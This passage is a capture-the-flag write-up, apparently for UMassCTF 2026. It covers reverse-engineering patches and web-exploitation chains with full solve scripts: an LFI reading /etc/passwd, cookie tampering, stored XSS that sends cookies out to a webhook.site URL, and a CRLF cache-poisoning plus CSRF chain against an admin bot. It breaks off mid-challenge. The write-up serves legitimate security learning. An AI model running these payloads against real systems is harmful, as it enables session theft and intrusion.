Using official ChipSourceTek pages:

* The official product page for `XT25F08B-S` states:
  * `8M-bit`
  * `1024K-byte`
  * `108MHz for fast read`
* The official contact page places ShenZhen ChipSourceTek in Shenzhen:
  * `Room302, Building A3, MingXi Creative Park ... Bao'an District, ShenZhen`

That made `XT25F08B-S` a strong fit:

* exact capacity match
* exact clock match
* official website product name available directly on the page
* official Shenzhen office/park address matching the challenge’s office-park framing

I verified the exact order-code family from the official datasheet page as well. The product page lists:

```
XT25F08B-S
XT25F08BSOIGU-S
XT25F08BSOIGT-S
XT25F08BSSIGU-S
XT25F08BSSIGT-S
XT25F08BDFIGT-S
```

Because the flag format wanted the chip name “on website”, I submitted the base product string first:

Final flag:

```
UMASS{XT25F08B-S}
```

***

## reverse\_engineering

### Batcave Bitflips

#### Description

We are given a non-stripped ELF, `batcave_license_checker`. The challenge hints say there are 3 bugs, with one involving rotation and one involving the SBOX.

The binary exposes enough symbols to recover the intended structure:

* `LICENSE_KEY` is embedded in `.data` as `!_batman-robin-alfred_((67||67))`
* `EXPECTED` is the 32-byte target hash
* `FLAG` is the encrypted flag buffer
* `SBOX` is the substitution table
* Main flow is:
  1. read 32-byte license key
  2. hash it
  3. compare against `EXPECTED`
  4. decrypt and print the flag

Running the program with the embedded license key does not pass verification, so the shipped binary is corrupted.

#### Solution

The three bugs are:

1. `rotate()` is wrong
   * Current code computes `(x << 3) | (x >> 6)`
   * Intended operation is `rol(x, 3)`, so the immediate `6` should be `5`
   * File patch: offset `0x1282`, change `0x06 -> 0x05`
2. One SBOX entry is wrong
   * The SBOX is almost a permutation of `0..255`, but has duplicate `0x43` and is missing `0x44`
   * The bad entry is `SBOX[0x18]`
   * File patch: offset `0x3098`, change `0x43 -> 0x44`
3. `decrypt_flag()` uses `or` instead of `xor`
   * The decryption step should xor each encrypted byte with the verified hash
   * File patch: offset `0x12ec`, opcode `0x09 -> 0x31` (`or ecx, eax` -> `xor ecx, eax` in effect)

After applying those three fixes and running the embedded license key, the binary prints the flag:

`UMASS{__p4tche5_0n_p4tche$__#}`

Solution script:

```python
from pathlib import Path
import subprocess


BASE = Path("attachments/batcave_license_checker")
PATCHED = Path("batcave_license_checker.fixed")
LICENSE_KEY = b"!_batman-robin-alfred_((67||67))\n"


def main() -> None:
    data = bytearray(BASE.read_bytes())

    # Bug 1: rotate() should use rol3, so shr al, 6 -> shr al, 5.
    data[0x1282] = 0x05

    # Bug 2: SBOX[0x18] is duplicated as 0x43; it should be 0x44.
    data[0x3098] = 0x44

    # Bug 3: decrypt_flag() should xor, not or.
    data[0x12EC] = 0x31

    PATCHED.write_bytes(data)
    PATCHED.chmod(0o755)

    proc = subprocess.run(
        [f"./{PATCHED.name}"],
        input=LICENSE_KEY,
        stdout=subprocess.PIPE,
        check=True,
    )
    print(proc.stdout.decode(), end="")


if __name__ == "__main__":
    main()
```

Verification output:

```
HASHED KEY: 3b54751a2406af05778047c5e483d348cb8730de1a9145ab15c79b2204022bee
FLAG: UMASS{__p4tche5_0n_p4tche$__#}
```

### Lego Clicker

#### Description

The challenge is an Android APK. The visible app flow is a clicker game with a leaderboard, and the prompt says to "reclaim the top of the leaderboard". The APK contains a native library, `liblegocore.so`, with JNI for:

* `FlagEngine`
* `FCA`
* `SessionValidator`

There are fake flags in the challenge.

#### Solution

I unpacked the APK with `jadx` and identified the important Java paths:

* `RA` is the leaderboard activity.
* If the top leaderboard entry is the player, `RA` calls:
  * `SessionValidator.validateBrickToken(j, j)`
  * `SessionValidator.a(j, j)`, where `a()` reflectively resolves to `syncBrickCache(j, j)`.
* `SessionValidator` natives are registered dynamically in `JNI_OnLoad`.

Using headless Ghidra on `apk_unpacked/lib/x86_64/liblegocore.so`, the native registration resolves to:

* `syncBrickCache` -> `FUN_001210f0`
* `refreshTileMap` -> `FUN_00121280`
* `validateBrickToken` -> `FUN_001213b0`

Important observations:

1. `FUN_00121d40(x)` checks whether `x * (x + 1)` is even, which is always true.
2. `FUN_00120350(x)` checks whether `~(x*x) & 3 == 0`, which is never true for integer squares modulo 4.
3. `syncBrickCache` therefore always takes the same non-debug branch in a normal environment.
4. That branch builds the final flag byte-by-byte in `FUN_00121f60`.
5. The anti-debug/anti-frida check is in `FUN_00121e80`:
   * `/proc/self/status` for `TracerPid:`
   * `/proc/self/maps` for `frida`, `gadget`, `gum-js`, `linjector` In a normal environment this check is false, so the real flag path is used.

The byte transforms are initialized at `0x20370` and `FUN_00120fa0`, and the character source table comes from `FUN_00120310`.

This script reconstructs the flag directly from the native library:

```python
from pathlib import Path
from struct import pack

p = Path("apk_unpacked/lib/x86_64/liblegocore.so").read_bytes()

# Initialized by FUN_00120fa0 (little-endian qwords in memory)
b60 = pack("<Q", 0x04715D2B883F1A6C)
b68 = pack("<Q", 0x39B24E9511C36720)
b70 = pack("<Q", 0x9C6428DE417F0A53)

# Character source tables used by FUN_00120310
t_13dc6 = p[0x13DC6:0x13DC6 + 20]
t_13dd4 = p[0x13DD4:0x13DD4 + 20]
t_13cdc = p[0x13CDC:0x13CDC + 20]


def ror8(x, n):
    return ((x >> n) | ((x << (8 - n)) & 0xFF)) & 0xFF


def src(i):
    if i % 3 == 1:
        tab = t_13dc6
    elif i % 3 == 0:
        tab = t_13cdc
    else:
        tab = t_13dd4
    return tab[i // 3]


out = []
for i in range(0x29):
    x = src(i)
    x ^= b70[(i + 1) & 7]   # 0x204e0
    x = (x - b70[i & 7]) & 0xFF  # 0x20510
    x ^= b68[i & 7]         # 0x20530
    x = ror8(x, 3)          # 0x20560
    x ^= b60[i & 7]         # 0x20580
    out.append(x)

flag = bytes(out).decode()
print(flag)
```

Running it prints:

```
UMASS{br1ck_by_br1ck_y0u_r3ach3d_th3_t0p}
```

This matches the intended theme and was accepted by the scoreboard.

***

## web\_exploitation

### BrOWSER BOSS FIGHT

#### Description

This familiar brick castle is hiding something... can you break in and defeat the Koopa King?

#### Solution

The landing page had a key input form with inline JavaScript:

```html
<script>
    document.getElementById('key-form').onsubmit = function() {
        const knockOnDoor = document.getElementById('key');
        // It replaces whatever they typed with 'WEAK_NON_KOOPA_KNOCK'
        knockOnDoor.value = "WEAK_NON_KOOPA_KNOCK"; 
        return true; 
    };
</script>
```

That means any normal browser submit rewrites the `key` parameter before the request is sent. The hint confirmed the intended bypass: do not use the form submit path at all. Send the POST manually.

Submitting any raw key attempt produced a useful response header:

```http
Server: BrOWSERS CASTLE (A note outside: "King Koopa, if you forget the key, check under_the_doormat! - Sincerely, your faithful servant, Kamek")
```

So the real key was `under_the_doormat`.

Posting that key manually redirected to `/bowsers_castle.html`:

```bash
curl -i -X POST 'http://browser-boss-fight.web.ctf.umasscybersec.org:48003/password-attempt' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'key=under_the_doormat'
```

The castle page was session-gated and set a large number of cookies plus:

```http
Set-Cookie: hasAxe=false; Path=/
```

The page text said:

```
I don't know how you got in, but you can't possibly defeat me! I removed the axe!
```

That exposed the second trust issue: the application relied on the client-controlled `hasAxe` cookie. Reusing the authenticated `connect.sid` from the valid key submission and forcing `hasAxe=true` returned the victory page with the flag.

Working exploit:

```bash
rm -f cookies.txt

curl -sS -c cookies.txt -b cookies.txt \
  -X POST 'http://browser-boss-fight.web.ctf.umasscybersec.org:48003/password-attempt' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'key=under_the_doormat' \
  -o /dev/null

sid=$(awk '/connect.sid/ {print $7}' cookies.txt | tail -n1)

curl -sS 'http://browser-boss-fight.web.ctf.umasscybersec.org:48003/bowsers_castle.html' \
  -H "Cookie: connect.sid=$sid; hasAxe=true"
```

Response:

```html
<body class="victory-body">
    <p class="victory-text">UMASS{br0k3n_1n_2_b0wz3r5_c4st13}</p>
</body>
```

Flag:

```
UMASS{br0k3n_1n_2_b0wz3r5_c4st13}
```

### Brick by Brick

#### Description

BrickWorks Co.'s portal exposed internal documents under `/internal-docs/`. The onboarding document mentioned that the main intranet lets staff read files via a `?file=` parameter and that the admin dashboard credentials are stored in `config.php` in the web root.

#### Solution

The bug is a local file inclusion / path traversal on the main page. Absolute paths are blocked, but traversal works:

```bash
curl -sS 'http://brick-by-brick.web.ctf.umasscybersec.org/?file=../../../../etc/passwd'
```

`robots.txt` reveals internal docs:

```bash
curl -sS http://brick-by-brick.web.ctf.umasscybersec.org/robots.txt
curl -sS http://brick-by-brick.web.ctf.umasscybersec.org/internal-docs/it-onboarding.txt
```

The onboarding document says:

```
The internal document portal lives at our main intranet address.
Staff can access any file using the ?file= parameter:

Credentials are stored in the application config file
for reference by the IT team. See config.php in the web root.
```

Read `config.php` through the LFI:

```bash
curl -sS 'http://brick-by-brick.web.ctf.umasscybersec.org/?file=config.php'
```

That reveals the hidden admin page:

```php
// The admin dashboard is located at /dashboard-admin.php.
```

Read the dashboard source through the same LFI:

```bash
curl -sS 'http://brick-by-brick.web.ctf.umasscybersec.org/?file=dashboard-admin.php'
```

The PHP source contains both the default credentials and the flag:

```php
define('DASHBOARD_USER', 'administrator');
define('DASHBOARD_PASS', 'administrator');
define('FLAG', 'UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}');
```

Flag:

```
UMASS{4lw4ys_ch4ng3_d3f4ult_cr3d3nt14ls}
```

### The Block City Times V2

#### Description

The app lets anyone submit a story with an attached `text/plain` or PDF file. The editorial bot logs in as admin and visits the uploaded file URL. The admin dashboard also has a dev-only `/admin/report` feature that asks an internal `report-runner` service to log in as admin, set a `FLAG` cookie in Chromium, visit an allowed `/api/...` endpoint, and return the visible page text.

The key bug is that upload validation only trusts the multipart part `Content-Type`, while the stored filename is served back with `Files.probeContentType(...)`. That means an `.html` file can be uploaded as `text/plain`, then served as `text/html`, giving stored same-origin XSS in the editorial admin bot.

#### Solution

Exploit chain:

1. Upload HTML as `text/plain` to get stored XSS when the editorial bot opens `/files/<uuid>-name.html`.
2. From that XSS, use the admin session to:
   * set `app.active-config=dev`
   * call `/actuator/refresh`
   * change `app.outbound.editorial-url` to a `webhook.site` URL so later `/submit` calls exfiltrate data
3. Use the admin-only `PUT /api/tags/article/{id}` twice to store the same raw tag value on two different articles:
   * `<script>document.body.innerText=document.cookie</script>`
4. Now `GET /api/tags` throws `IllegalArgumentException: duplicate element: <script>...` inside `ArticleService.allTags()`.
5. The important browser detail: when a real browser navigates to that string error endpoint, Spring negotiates the response as `text/html` because the request `Accept` prefers HTML. So the injected `<script>` executes.
6. Trigger `/admin/report` with endpoint `/api/tags`. The internal `report-runner` browser:
   * logs in as admin
   * sets the `FLAG` cookie
   * visits `/api/tags`
   * executes the injected script
   * replaces the page body with `document.cookie`
7. The report result now contains the flag cookie value. Relay that page back out through `/submit` to the webhook.

Solution payload used:

```html
<!doctype html>
<meta charset="utf-8">
<body>flag-payload</body>
<script>
const WEBHOOK = "https://webhook.site/REPLACE_ME";
const TAG_PAYLOAD = "<scr" + "ipt>document.body.innerText=document.cookie</scr" + "ipt>";

function csrfFrom(html) {
  const m = html.match(/name="_csrf" value="([^"]+)"/);
  return m ? m[1] : "";
}

async function postJson(url, body, method = "POST") {
  return fetch(url, {
    method,
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(body),
  });
}

async function getSubmitCsrf() {
  const html = await (await fetch("/submit")).text();
  return csrfFrom(html);
}

async function getAdminCsrf() {
  const html = await (await fetch("/admin")).text();
  return csrfFrom(html);
}

async function leak(csrf, title, description) {
  const fd = new FormData();
  fd.append("_csrf", csrf);
  fd.append("title", title.slice(0, 120));
  fd.append("author", "relay");
  fd.append("description", description.slice(0, 3500));
  fd.append("file", new Blob(["x"], { type: "text/plain" }), "x.txt");
  await fetch("/submit", { method: "POST", body: fd });
}

function firstPreText(html) {
  const doc = new DOMParser().parseFromString(html, "text/html");
  const pre = doc.querySelector("pre");
  return pre ? pre.textContent : html;
}

(async () => {
  let submitCsrf = "";
  try {
    await postJson("/actuator/env", {
      name: "app.outbound.editorial-url",
      value: WEBHOOK,
    });
    await postJson("/actuator/env", {
      name: "app.active-config",
      value: "dev",
    });
    await fetch("/actuator/refresh", { method: "POST" });

    await postJson("/api/tags/article/1", [TAG_PAYLOAD], "PUT");
    await postJson("/api/tags/article/2", [TAG_PAYLOAD], "PUT");

    const adminCsrf = await getAdminCsrf();
    const reportResp = await fetch("/admin/report", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: new URLSearchParams({
        _csrf: adminCsrf,
        endpoint: "/api/tags",
      }),
    });
    const reportHtml = await reportResp.text();

    submitCsrf = await getSubmitCsrf();
    await leak(
      submitCsrf,
      "flag-report",
      "status=" + reportResp.status + "\n" + firstPreText(reportHtml)
    );
  } catch (e) {
    try {
      submitCsrf = submitCsrf || (await getSubmitCsrf());
      await leak(submitCsrf, "flag-error", String(e));
    } catch (_) {}
  }
})();
</script>
```

Upload it as a file named `payload_live_flag.html` while forcing the multipart part content type to `text/plain`, for example:

```bash
curl -F "_csrf=<csrf>" \
     -F "title=flag-payload" \
     -F "author=me" \
     -F "description=flag try" \
     -F "file=@payload_live_flag.html;type=text/plain;filename=payload_live_flag.html" \
     http://INSTANCE/submit
```

The returned report leaked:

```
FLAG=UMASS{A_mAn_h3s_f0rg0tt3n_t0_ch3ck_f04_p@tH_tr@v3rs@l}
```

### The Block City Times

#### Description

The outer service on `:5000` is only a gate. It expects a valid UMass CTFd access token, then exposes a managed instance page that starts the real challenge container over `socket.io`.

The inner instance matches the provided Java source. The bug chain is:

1. `/submit` only checks the uploaded part's declared MIME type. An `.html` file can be uploaded as `text/plain`.
2. The saved filename keeps the `.html` extension, and `/files/{filename}` later serves it using `Files.probeContentType`, so the file is returned as `text/html`.
3. The editorial bot automatically opens the uploaded file while logged in as admin, so this becomes stored XSS in an admin session.
4. The XSS uses the admin session to:
   * fetch a CSRF token from `/login` (important: `/admin` in production does not render a CSRF field),
   * POST `/actuator/env` with `{"name":"app.active-config","value":"dev"}`,
   * POST `/actuator/refresh`,
   * POST `/admin/report` with endpoint `/api/../files/<same uploaded html>`.
5. The report bot logs in as admin, sets a `FLAG` cookie, and visits the endpoint. When it loads the same uploaded HTML, the payload detects `document.cookie` containing `FLAG=` and writes the cookie value into the page body.
6. `/admin/report` embeds the report bot output in the response HTML. The editorial-bot XSS regexes `UMASS{...}` from that response and stores it in the public `/api/tags/article/1` endpoint.
7. Poll the public tags endpoint until the flag appears.

Recovered flag: `UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}`

#### Solution

Standalone solve script:

```python
#!/usr/bin/env python3

import argparse
import datetime as dt
import json
import re
import time
from pathlib import Path

import requests
import socketio


CONFIG_PATH = Path("/home/ubu/ctf/competitions/umass26/config.yaml")
FLAG_RE = re.compile(r"UMASS\{[^}\r\n]+\}")
CSRF_RE = re.compile(r'name="_csrf"\s+value="([^"]+)"')


def extract_csrf(html: str) -> str:
    match = CSRF_RE.search(html)
    if not match:
        raise RuntimeError("failed to find CSRF token")
    return match.group(1)


def load_ctfd_session(config_path: Path) -> str:
    text = config_path.read_text(encoding="utf-8")
    match = re.search(r"^\s+session:\s+(\S+)\s*$", text, re.MULTILINE)
    if not match:
        raise RuntimeError(f"failed to find CTFd session in {config_path}")
    return match.group(1)


def mint_ctfd_token(ctfd_base: str, session_cookie: str, description: str) -> str:
    http = requests.Session()
    http.cookies.set("session", session_cookie, domain="ctf.umasscybersec.org", path="/")

    settings = http.get(f"{ctfd_base}/settings", timeout=20)
    settings.raise_for_status()

    csrf = re.search(r"'csrfNonce': \"([a-f0-9]+)\"", settings.text)
    if not csrf:
        raise RuntimeError("failed to extract CTFd csrf nonce")

    expiration = (dt.date.today() + dt.timedelta(days=1)).isoformat()
    response = http.post(
        f"{ctfd_base}/api/v1/tokens",
        headers={"CSRF-Token": csrf.group(1), "Content-Type": "application/json"},
        json={"expiration": expiration, "description": description},
        timeout=20,
    )
    response.raise_for_status()

    data = response.json()
    token = data.get("data", {}).get("value")
    if not token:
        raise RuntimeError(f"failed to mint CTFd token: {data}")
    return token


def gate_login(gate_base: str, ctfd_token: str) -> requests.Session:
    http = requests.Session()

    login_page = http.get(gate_base, timeout=20)
    login_page.raise_for_status()
    csrf = re.search(r'name="csrf_token" value="([^"]+)"', login_page.text)
    if not csrf:
        raise RuntimeError("failed to extract gate csrf token")

    response = http.post(
        gate_base,
        data={"csrf_token": csrf.group(1), "ctfd_team_access_token": ctfd_token},
        timeout=20,
    )
    response.raise_for_status()

    if "/instance" not in response.url:
        raise RuntimeError(f"gate login did not reach instance page: {response.url}")
    return http


def start_instance(gate_base: str, gate_session: requests.Session, timeout: int) -> str:
    sio = socketio.Client(http_session=gate_session)
    state = {"done": False, "url": None, "error": None}

    @sio.on("deploy_done")
    def _deploy_done(data):
        state["done"] = True
        state["url"] = data.get("instance_url")
        sio.disconnect()

    @sio.on("fatal_error")
    def _fatal_error(data):
        state["done"] = True
        state["error"] = data
        sio.disconnect()

    sio.connect(gate_base, transports=["polling"])
    sio.emit("start_deploy")

    deadline = time.time() + timeout
    while not state["done"] and time.time() < deadline:
        time.sleep(1)

    if not state["done"]:
        try:
            sio.disconnect()
        except Exception:
            pass
        raise RuntimeError("timed out waiting for managed instance deployment")

    if state["error"]:
        raise RuntimeError(f"managed instance deployment failed: {state['error']}")
    if not state["url"]:
        raise RuntimeError("deployment finished without an instance URL")
    return state["url"]


def build_payload() -> str:
    return """<!doctype html>
<html>
<body>
<script>
(async () => {
  async function publish(value) {
    await fetch('/api/tags/article/1', {
      method: 'PUT',
      credentials: 'include',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify([value])
    }).catch(() => {});
  }

  const match = document.cookie.match(/FLAG=([^;]+)/);
  if (match) {
    document.body.innerText = decodeURIComponent(match[1]);
    return;
  }

  await publish('stage1');

  const name = decodeURIComponent(location.pathname.split('/').pop());
  const loginHtml = await fetch('/login', { credentials: 'include' }).then(r => r.text());
  const csrfMatch = loginHtml.match(/name="_csrf"\\s+value="([^"]+)"/);
  if (!csrfMatch) {
    await publish('csrf-missing');
    document.body.innerText = 'csrf-missing';
    return;
  }
  const csrf = csrfMatch[1];

  await fetch('/actuator/env', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ name: 'app.active-config', value: 'dev' })
  }).catch(() => {});

  await fetch('/actuator/refresh', {
    method: 'POST',
    credentials: 'include'
  }).catch(() => {});

  const body = new URLSearchParams();
  body.set('_csrf', csrf);
  body.set('endpoint', '/api/../files/' + encodeURIComponent(name));

  const reportHtml = await fetch('/admin/report', {
    method: 'POST',
    credentials: 'include',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: body.toString()
  }).then(r => r.text());

  const flag = reportHtml.match(/UMASS\\{[^}<\\r\\n]+\\}/);
  const value = flag ? flag[0] : 'report-failed';

  await publish(value);
  document.body.innerText = value;
})();
</script>
</body>
</html>
"""


def upload_payload(session: requests.Session, base_url: str, payload: str) -> None:
    submit_page = session.get(f"{base_url}/submit", timeout=15)
    submit_page.raise_for_status()
    csrf = extract_csrf(submit_page.text)

    files = {"file": ("story.html", payload.encode(), "text/plain")}
    data = {
        "_csrf": csrf,
        "title": "Local Tip",
        "author": "Reporter",
        "description": "newsroom tip",
    }

    response = session.post(f"{base_url}/submit", data=data, files=files, timeout=30)
    response.raise_for_status()

    if "has been submitted to our editorial desk" not in response.text:
        raise RuntimeError("submission did not look successful")


def poll_flag(session: requests.Session, base_url: str, timeout: int) -> str:
    deadline = time.time() + timeout
    last = None
    while time.time() < deadline:
        response = session.get(f"{base_url}/api/tags/article/1", timeout=15)
        response.raise_for_status()
        try:
            tags = response.json()
        except json.JSONDecodeError:
            tags = []

        if isinstance(tags, list):
            for tag in tags:
                if isinstance(tag, str):
                    match = FLAG_RE.search(tag)
                    if match:
                        return match.group(0)
            last = tags
        time.sleep(2)

    raise RuntimeError(f"flag not found in public tags; last tags: {last}")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--gate-url", default="http://blockcitytimes.web.ctf.umasscybersec.org:5000")
    parser.add_argument("--ctfd-url", default="https://ctf.umasscybersec.org")
    parser.add_argument("--deploy-timeout", type=int, default=180)
    parser.add_argument("--exploit-timeout", type=int, default=240)
    args = parser.parse_args()

    ctfd_session = load_ctfd_session(CONFIG_PATH)
    ctfd_token = mint_ctfd_token(args.ctfd_url.rstrip("/"), ctfd_session, "codex-live")
    gate_session = gate_login(args.gate_url.rstrip("/"), ctfd_token)
    instance_url = start_instance(args.gate_url.rstrip("/"), gate_session, args.deploy_timeout)

    payload = build_payload()
    payload_path = Path("payload.html")
    payload_path.write_text(payload, encoding="utf-8")

    exploit_session = requests.Session()
    upload_payload(exploit_session, instance_url.rstrip("/"), payload)
    print(poll_flag(exploit_session, instance_url.rstrip("/"), args.exploit_timeout))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### Building Blocks Market

#### Description

The bug is a cache-key / forwarded-path mismatch in `cache_proxy`.

* The proxy caches on the raw request path if it ends in a cacheable extension.
* But it forwards only the part before `%0d%0a`.
* So requesting `/admin/submissions.html%0d%0aX.css` caches the real admin page under a public, cacheable key.

That leaks the admin submissions page, including the per-admin CSRF token. The remaining problem is turning that leak into an authenticated admin POST on live Chromium.

#### Solution

The direct cross-site POST ideas fail on live because the public payload page is effectively `https://...`, so Chromium blocks requests to insecure private hosts like `http://cache_proxy:5555` and `http://bot:3001`.

The working chain is:

1. Create a product.
2. Submit `http://cache_proxy:5555/admin/submissions.html%0d%0a<rand>.css`.
3. Fetch the same public path and read the leaked admin CSRF token.
4. Submit a second URL pointing to a public HTTPS page we control.
5. That page opens `about:blank` in a popup, then navigates the popup to a `javascript:` URL.
6. Inside the popup, create a `text/plain` form POST to `http://127.0.0.1:3001/visit`.

`127.0.0.1` is the important detail. Chromium treats loopback as trustworthy, so the secure public page can still reach the bot server on loopback. Targeting `http://bot:3001/visit` does not work.

The bot expects JSON, but `text/plain` forms serialize as `name=value\r\n`. The trick is to place that `=` inside the JSON string:

* input `name`: `{"url":"<left half of payload up to first =>`
* input `value`: `<right half after first =>"}`

That makes the actual body:

```
{"url":"...=..."}\r\n
```

`JSON.parse(...)` accepts the trailing CRLF, so `/visit` accepts it.

The JSON `url` sent to `/visit` is a `data:text/html,...` page that auto-submits:

```html
<form method=POST action=http://cache_proxy:5555/approval/approve/<submission_id>>
  <input name=csrf_token value=<leaked_csrf>>
</form>
<script>document.forms[0].submit()</script>
```

The bot then visits that `data:` URL directly, and that page successfully POSTs to `cache_proxy` with the admin session cookie already loaded by the bot.

Public payload page:

```html
<!doctype html>
<meta charset="utf-8">
<script>
const botTarget = "http://127.0.0.1:3001/visit";
const raw = "DATA_URL_GOES_HERE";
const splitAt = raw.indexOf("=");
const left = splitAt >= 0 ? raw.slice(0, splitAt) : raw;
const right = splitAt >= 0 ? raw.slice(splitAt + 1) : "";

const jsUrl =
  "javascript:(function(){" +
  "var f=document.createElement('form');" +
  "f.method='POST';" +
  "f.action=" + JSON.stringify(botTarget) + ";" +
  "f.enctype='text/plain';" +
  "var i=document.createElement('input');" +
  "i.name=" + JSON.stringify('{"url":"' + left) + ";" +
  "i.value=" + JSON.stringify(right + '"}') + ";" +
  "f.appendChild(i);" +
  "document.body.appendChild(f);" +
  "f.submit();" +
  "})();void(0)";

window.open("about:blank", "pop");
setTimeout(() => {
  window.open(jsUrl, "pop");
}, 300);
</script>
```

Exploit script:

```python
#!/usr/bin/env python3

import argparse
import datetime as dt
import hmac
import hashlib
import random
import re
import string
import time
import urllib.parse
from pathlib import Path

import requests
import socketio


CONFIG_PATH = Path("/home/ubu/ctf/competitions/umass26/config.yaml")
GATE_URL = "http://buildingblocksmarket.web.ctf.umasscybersec.org:5000"
CTFD_URL = "https://ctf.umasscybersec.org"


def randstr(n=8):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def load_ctfd_session(config_path: Path) -> str:
    text = config_path.read_text(encoding="utf-8")
    return re.search(r"^\\s+session:\\s+(\\S+)\\s*$", text, re.MULTILINE).group(1)


def mint_ctfd_token(session_cookie: str, description: str) -> str:
    http = requests.Session()
    http.cookies.set("session", session_cookie, domain="ctf.umasscybersec.org", path="/")
    settings = http.get(f"{CTFD_URL}/settings", timeout=20)
    csrf = re.search(r"'csrfNonce': \"([a-f0-9]+)\"", settings.text).group(1)
    expiration = (dt.date.today() + dt.timedelta(days=1)).isoformat()
    response = http.post(
        f"{CTFD_URL}/api/v1/tokens",
        headers={"CSRF-Token": csrf, "Content-Type": "application/json"},
        json={"expiration": expiration, "description": description},
        timeout=20,
    )
    return response.json()["data"]["value"]


def gate_login(ctfd_token: str) -> requests.Session:
    http = requests.Session()
    login_page = http.get(GATE_URL, timeout=20)
    csrf = re.search(r'name="csrf_token" value="([^"]+)"', login_page.text).group(1)
    response = http.post(
        GATE_URL,
        data={"csrf_token": csrf, "ctfd_team_access_token": ctfd_token},
        timeout=20,
    )
    assert "/instance" in response.url
    return http


def start_instance(gate_session: requests.Session, timeout: int = 180) -> str:
    page = gate_session.get(f"{GATE_URL}/instance", timeout=20)
    status_match = re.search(r'const STATUS = "([^"]*)";', page.text)
    url_match = re.search(r'const INSTANCE_URL = "([^"]+)";', page.text)
    if status_match and status_match.group(1) == "active" and url_match:
        return url_match.group(1).rstrip("/")

    sio = socketio.Client(http_session=gate_session, logger=False, engineio_logger=False)
    state = {"done": False, "url": None, "error": None}

    @sio.on("deploy_done")
    def _deploy_done(data):
        state["done"] = True
        state["url"] = data.get("instance_url")
        sio.disconnect()

    @sio.on("fatal_error")
    def _fatal_error(data):
        state["done"] = True
        state["error"] = data
        sio.disconnect()

    sio.connect(GATE_URL, transports=["polling"])
    sio.emit("start_deploy")

    deadline = time.time() + timeout
    while not state["done"] and time.time() < deadline:
        time.sleep(1)

    if state["error"]:
        raise RuntimeError(state["error"])
    return state["url"].rstrip("/")


def register_and_login(base_url: str, username: str, password: str) -> requests.Session:
    http = requests.Session()
    r = http.post(f"{base_url}/register", data={"username": username, "password": password}, allow_redirects=False, timeout=20)
    assert r.status_code in (302, 400)
    r = http.post(f"{base_url}/login", data={"username": username, "password": password}, allow_redirects=False, timeout=20)
    assert r.status_code == 302
    return http


def create_product(http: requests.Session, base_url: str, name: str) -> int:
    r = http.post(
        f"{base_url}/sell",
        data={"name": name, "description": "rare set", "price": "12.34", "image_url": ""},
        allow_redirects=False,
        timeout=20,
    )
    return int(re.search(r"/product/(\\d+)$", r.headers["Location"]).group(1))


def submit_for_approval(http: requests.Session, base_url: str, submission_url: str) -> int:
    r = http.post(
        f"{base_url}/approval/request",
        data={"submission_url": submission_url},
        allow_redirects=False,
        timeout=20,
    )
    return int(re.search(r"/submission/success/(\\d+)$", r.headers["Location"]).group(1))


def fetch_leaked_admin_page(base_url: str, leak_path: str, first_wait: int = 25):
    time.sleep(first_wait)
    r = requests.get(f"{base_url}{leak_path}", timeout=20)
    csrf = re.search(r'name="csrf_token" value="([a-f0-9]{64})"', r.text).group(1)
    return csrf


def build_payload_url(tunnel_base: str, submission_id: int, csrf_token: str) -> str:
    html = (
        f"<form method=POST action=http://cache_proxy:5555/approval/approve/{submission_id}>"
        f"<input name=csrf_token value={csrf_token}>"
        "</form><script>document.forms[0].submit()</script>"
    )
    data_url = "data:text/html," + urllib.parse.quote(html, safe='/:=<>()[];,.?&-_')
    return (
        f"{tunnel_base.rstrip('/')}/?"
        + urllib.parse.urlencode({
            "m": "popup_json_form",
            "d": "http://127.0.0.1:3001/visit",
            "j": data_url,
            "l": "300",
            "t": "pop",
        })
    )


def wait_for_flag(http: requests.Session, base_url: str, timeout: int = 60) -> str | None:
    deadline = time.time() + timeout
    while time.time() < deadline:
        r = http.get(f"{base_url}/flag", timeout=20)
        m = re.search(r"UMASS\\{[^}\\n]+\\}", r.text)
        if m:
            return m.group(0)
        time.sleep(5)
    return None


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--tunnel-base", required=True)
    args = parser.parse_args()

    ctfd_session = load_ctfd_session(CONFIG_PATH)
    ctfd_token = mint_ctfd_token(ctfd_session, f"codex-live-{randstr(6)}")
    gate_session = gate_login(ctfd_token)
    instance_url = start_instance(gate_session)

    username = f"u{randstr(8)}"
    password = "pw123456"
    http = register_and_login(instance_url, username, password)
    create_product(http, instance_url, f"Rare Set {randstr(6)}")

    leak_suffix = randstr(6)
    leak_path = f"/admin/submissions.html%0d%0a{leak_suffix}.css"
    leak_submission_id = submit_for_approval(http, instance_url, f"http://cache_proxy:5555{leak_path}")
    csrf_token = fetch_leaked_admin_page(instance_url, leak_path)

    payload_url = build_payload_url(args.tunnel_base, leak_submission_id, csrf_token)
    submit_for_approval(http, instance_url, payload_url)

    flag = wait_for_flag(http, instance_url)
    print(flag)


if __name__ == "__main__":
    main()
```

That returned:

```
UMASS{d0nt_m3ss_w1th_nG1nx_4nd_chr0m1uM}
```

### Turncoat's Treasure

#### Description

The challenge ships a product site, a forum, and a captain bot behind an nginx proxy.

Important bugs:

* `forum/templates/user.html` renders post content with `|safe`, so `/user/<name>` is stored XSS.
* `product/check-captain` leaks the captain container IP.
* nginx blocks `/call-captain`, but the block is case-sensitive while Express routing is case-insensitive, so `/CALL-CAPTAIN` reaches the captain app.
* The wildcard proxy routes arbitrary subdomains upstream, so `make-<captain_ip>-rr.1u.ms.<host>` can be used to send traffic to the captain service.
* `captain /treasure` is localhost-only, but it returns CSS: `here is your treasure` + `name` + `FLAG`

The useful trick is that this CSS is still valid if `name` starts with `{--x:`. Then:

* `https://127.0.0.1/treasure?name=%7B--x%3A`

produces CSS equivalent to:

```css
here is your treasure { --x: UMASS{...} }
```

If the DOM contains nested custom elements:

```html
<here><is><your><treasure id="t"></treasure></your></is></here>
